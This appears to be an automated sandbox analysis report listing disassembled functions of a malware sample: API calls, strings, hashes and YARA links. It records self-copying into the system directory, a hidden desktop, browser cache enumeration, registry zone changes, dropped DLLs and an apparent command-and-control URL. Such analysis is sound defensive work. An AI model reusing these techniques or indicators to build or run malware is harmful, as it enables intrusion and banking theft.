Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: sprintf
String ID: .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess$1601$BrowseNewProcess$GlobalUserOffline$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u$Software\Microsoft\Windows\CurrentVersion\Internet Settings$yes
API String ID: 590974362-546450379
Opcode ID: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction ID: cd0aaffbc0bd71aa605591c0976343fec0ffbebd6d6d4fedce8ce2f9217411d7
Opcode Fuzzy Hash: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction Fuzzy Hash: 24F07DF2F883587EE710A1699C47F8D765907A1704FA400A7BA44B10C2D0FE56C6826D

Function 004077E4 Relevance: 10.6, APIs: 7, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32 ref: 00407826
SetFocus.USER32 ref: 00407839
SetFocus.USER32 ref: 00407852
SetFocus.USER32 ref: 00407865
SetFocus.USER32 ref: 00407878
SetFocus.USER32 ref: 0040788B
CallWindowProcA.USER32(00000000,?,?,?,?), ref: 00407909

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: Focus$CallProcWindow
String ID:
API String ID: 2401821148-0
Opcode ID: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction ID: 67d25c2989ca0d32993d4aa71a0b11dc39683739a3ff9c0c7d6bcfde353c753a
Opcode Fuzzy Hash: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction Fuzzy Hash: 6F318233E082149BDF21FB29ED848DA7726A751324715C43AE550B32B1DB787C91CB6E

Function 004036B3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036F4
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403715
WriteFile.KERNEL32(00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000), ref: 00403728
CloseHandle.KERNEL32(00000000,00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?), ref: 00403734

Strings

Y&-v, xrefs: 004036BA

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID: Y&-v
API String ID: 2529654636-852306816
Opcode ID: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction ID: 393fb1fac6dfb6d7043d4134058e676a256c67ba5a84656a07003a75d011006f
Opcode Fuzzy Hash: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction Fuzzy Hash: A401A772B4461439F62165758C43F9E365D8B41B78F208136F711BB1C1D6F97E0142BD

Function 00405613 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(*.*,?,00001F40), ref: 00405654
_stricmp.CRTDLL(?,?), ref: 00405679
FindNextUrlCacheEntryA.WININET(00000000,?,00001F40), ref: 004056C0
_stricmp.CRTDLL(?,?), ref: 004056D6

Strings

*.*, xrefs: 0040564F

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: CacheEntryFind_stricmp$FirstNext
String ID: *.*
API String ID: 747601842-438819550
Opcode ID: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction ID: aa6d97de36eacb02400b0bc5d5be45fc0d4f636131057f9c0ab70f2a458f06eb
Opcode Fuzzy Hash: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction Fuzzy Hash: AD21CF72E1005AABCB109A65CC018FBB6EEEB44398F1404F3F108F7290EB799E418F65

Function 0040431F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00404341
GetThreadDesktop.USER32(00000000), ref: 00404347
CreateDesktopA.USER32(blind_user,00000000,00000000,00000000,000000C7,00000000), ref: 00404376
SetThreadDesktop.USER32 ref: 00404394

Strings

blind_user, xrefs: 00404371

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: DesktopThread$CreateCurrent
String ID: blind_user
API String ID: 2384851093-487808672
Opcode ID: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction ID: 282a6fb7077f79b337956a50597d570250b08ff90f4541f666399335e01d3b83
Opcode Fuzzy Hash: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction Fuzzy Hash: 2C018471B442006FDB14B73E9C5276FA6D95BC0314F64403BA602F72D0E9B899018A5D

Function 00403840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

printf.CRTDLL(HEX: ), ref: 00403863
printf.CRTDLL(%02X ,00000000), ref: 00403877
printf.CRTDLL(0042CC3A), ref: 00403890

Strings

HEX: , xrefs: 0040385E
%02X , xrefs: 00403872

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: printf
String ID: %02X $HEX:
API String ID: 3524737521-2568639716
Opcode ID: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction ID: 8eff4c8c66366255d0771bcdb7d8d21a427f9234d78b176c67630138abebef86
Opcode Fuzzy Hash: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction Fuzzy Hash: 43F0E972F05214BBD704DB9ADC4286E77A9DB9236473080FBF804631C0E9755F0086A9

Function 00403BBE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.CRTDLL(?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403C8B
memcpy.CRTDLL(?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CAE
memcpy.CRTDLL(-0042AA50,?,00000006,?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CBE

Strings

MC, xrefs: 00403BFD

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: MC
API String ID: 438689982-3957011357
Opcode ID: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction ID: 0fabd55d67194886af3b95eda558b9f651b3b184c5d0290ca09bafd6d30b71fa
Opcode Fuzzy Hash: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction Fuzzy Hash: F131B661F08198AFDB00DFBDC84169EBFFA9B4A210F1480B6E884F7381D5789F059765

Function 004017AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004017CC
CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

Strings

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}, xrefs: 004017D5

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceString
String ID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
API String ID: 1245325315-1222218007
Opcode ID: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction ID: 52c0c8d8f8a1b88d6522b4dea913535513547713cd70a2aa0dd21656c7656eb5
Opcode Fuzzy Hash: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction Fuzzy Hash: E1118673B102116FE710FEF5DC81BAB7AE89B00355F10483BE644F32D1E6B8A50286B9

Function 0040109B Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

signal.CRTDLL(0000000B,00000000), ref: 0040119C
signal.CRTDLL(00000008,00000000), ref: 004011B6
signal.CRTDLL(00000000), ref: 004011D5
raise.CRTDLL ref: 004011E3

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: signal$raise
String ID:
API String ID: 372037113-0
Opcode ID: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction ID: baa5ba32779064c34a5af0890878b5a2dbb5619b613b0807c362cc876063d63b
Opcode Fuzzy Hash: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction Fuzzy Hash: 4541B475A01204DFC720DF18EC84B5677B4FB08350F44457AEE14AB3E1E734A965CBAA

Function 0040447A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00404492
LocalAlloc.KERNEL32(00000040,-00000008,?), ref: 004044A4
sprintf.CRTDLL(?,%s%c%c,?,4EC4EBEE,?,00000040,-00000008,?), ref: 00404515

Strings

%s%c%c, xrefs: 0040450F

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlensprintf
String ID: %s%c%c
API String ID: 2176257816-3118753097
Opcode ID: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction ID: 40b1eb1d73d9c04af9a72cf5af1a140bd4a75b2e1492408562adfdfa8721cd8f
Opcode Fuzzy Hash: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction Fuzzy Hash: F9110B72E0406867DB009A9A88815AFFBB69FC5310F1641F7EA04B73C1D27CAD0193A5

Function 0040421F Relevance: 6.0, APIs: 4, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404255
RegSetValueExA.ADVAPI32(?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404273
RegCloseKey.ADVAPI32(?,?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?), ref: 0040427F

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction ID: d96ef7c4080a9b633a5bca21bfcbc2c766a155132064e5ed691f16c3214ccdec
Opcode Fuzzy Hash: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction Fuzzy Hash: B801F772B10109BBCF11AEB5CC02F9EBEBA9F84340F240476B704F61E0D675D9116718

Function 0040429C Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042EF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042FB

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction ID: 691f158720e2b36127ee9bd81ba90e70b5a5535aabeb9bf87ba7554e5ddc9d88
Opcode Fuzzy Hash: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction Fuzzy Hash: 9801F271B1410ABACF109E25CC02BEEBFA99F94390F140472BE04F61E1D374EE11A3A9

Function 00403743 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403769
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403780
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403798
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080), ref: 0040379E

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction ID: cf1cf3c615f6ac6775c7614bbea78a1f327309af87cada33f382846b8ae172d8
Opcode Fuzzy Hash: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction Fuzzy Hash: 1BF0E972B442143AE62029758C03FDE355D8B41B78F144131FB10FB1D1D5B8BA0142AD

Function 0040185F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,?), ref: 004018E2
_sleep.CRTDLL(00000000), ref: 00401985

Strings

Microsoft Internet Explorer, xrefs: 004018E9

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: TextWindow_sleep
String ID: Microsoft Internet Explorer
API String ID: 2600969163-3125735337
Opcode ID: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction ID: b939d44f97a8665b9279395720dceab0b5e56fea97a4cdd5017e5321b1dcff8d
Opcode Fuzzy Hash: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction Fuzzy Hash: 0B511D71A00215EFDB20CFA8D884BAAB7F4BB18315F5041B6E904E72A0D7749995CF59

Function 0040682B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406753: CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
Part of subcall function 00406753: GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
Part of subcall function 00406753: CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

_sleep.CRTDLL(000927C0,00418E30,http://tat-neftbank.ru/kkq.php,ofs_kk), ref: 00406854

Strings

http://tat-neftbank.ru/kkq.php, xrefs: 00406840
ofs_kk, xrefs: 0040683B

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize_sleep
String ID: http://tat-neftbank.ru/kkq.php$ofs_kk
API String ID: 4235044784-1201080362
Opcode ID: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction ID: fffe33e14b07b0123592d698d33e8a34a507cc30d1f0c5c96ad3af2b43ec03e4
Opcode Fuzzy Hash: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction Fuzzy Hash: ADD05E72B453043B9200757E9D07929F5CE4AA0AA83B9446BBA01F73F1E8F89E1151AB

Analysis Process: Odekfoij.exePID: 6928, Parent PID: 6860COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	542
Total number of Limit Nodes:	2

Executed Functions

Function 00406C29 Relevance: 82.5, APIs: 36, Strings: 11, Instructions: 264
windowthreadregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32(001F0001,00000000,QueenKarton_12), ref: 00406C50
CloseHandle.KERNEL32(00000000,00000000), ref: 00406C60
exit.CRTDLL(00000001,00000000,00000000), ref: 00406C67
GetVersionExA.KERNEL32(00418D50,00000000), ref: 00406C8A
GetSystemDirectoryA.KERNEL32(00429080,000000FF), ref: 00406C99
GetTickCount.KERNEL32 ref: 00406C9E
srand.CRTDLL(00000000,00418D50,00000000), ref: 00406CA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00418D50,00000000), ref: 00406CBE
rand.CRTDLL(00418D50,00000000), ref: 00406D03
rand.CRTDLL(00418D50,00000000), ref: 00406D2F
rand.CRTDLL(00418D50,00000000), ref: 00406D70
sprintf.CRTDLL(?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00406DA8
CopyFileA.KERNEL32(?,?,00000000), ref: 00406DBD
WinExec.KERNEL32(?,00000000), ref: 00406DEC
ExitProcess.KERNEL32(00000001,?,?,?,?,?,?,00418D50,00000000), ref: 00406E02
sprintf.CRTDLL(00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E1B
sprintf.CRTDLL(00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E3A
sprintf.CRTDLL(00408020,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E53
LoadCursorA.USER32(00000000,00007F00), ref: 00406E85
LoadIconA.USER32(00000000,00007F03), ref: 00406E9A
GetStockObject.GDI32(00000000), ref: 00406EA8
RegisterClassA.USER32(00000003), ref: 00406EC9
